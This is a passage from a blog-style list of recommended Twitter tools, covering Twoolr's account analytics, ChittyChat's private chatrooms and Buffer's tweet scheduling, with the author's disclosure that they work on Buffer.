of data about your account such as the amount of mentions, retweets or number of new followers. In addition you can see user comparisons, word clouds, growth and community reports. Best part: Having another place to check in on isn’t so cool. So Twoolr sends you a handy email update to inform you about the latest happenings with your account. Try it out here: Twoolr 4. ChittyChat – Get a private room with your Twitter friends A very recent discovery of mine that I find more and more useful is a tool called ChittyChat. It allows you to enter into a private chat with anyone on Twitter without the hassle of exchanging contact details and signing into other services. The way it works is very simple. You tweet all your friends you want to chat with privately and include the @chitty_chat username. Then the App will automatically @reply you and your friends with a link to the chatroom and you can start typing. Super simple. Best part: What I like most here is that you don’t have to sign into any accounts or fiddle with login. A click on the link is all it takes to kick off your conversation. Try it out here: ChittyChat 5. Buffer – Never Flood Your Followers Again (Full disclosure: I work on Buffer) For long I was prone to contribute to the noise on Twitter myself, overwhelming my followers with infos at times. With Buffer you put all Tweets into your “Buffer” and they will be posted for you well spaced out over the day. What makes Buffer most convenient is that you can add tweets from anywhere on the web with browser extensions for Chrome, Firefox and Safari. Additionally you can Buffer tweets from Google Reader and even the Twitter.com interface. Best part: For every tweet that you have sent via Buffer, you will received detailed analytics about clicks, retweets and reach. Try it out here: Buffer theGRID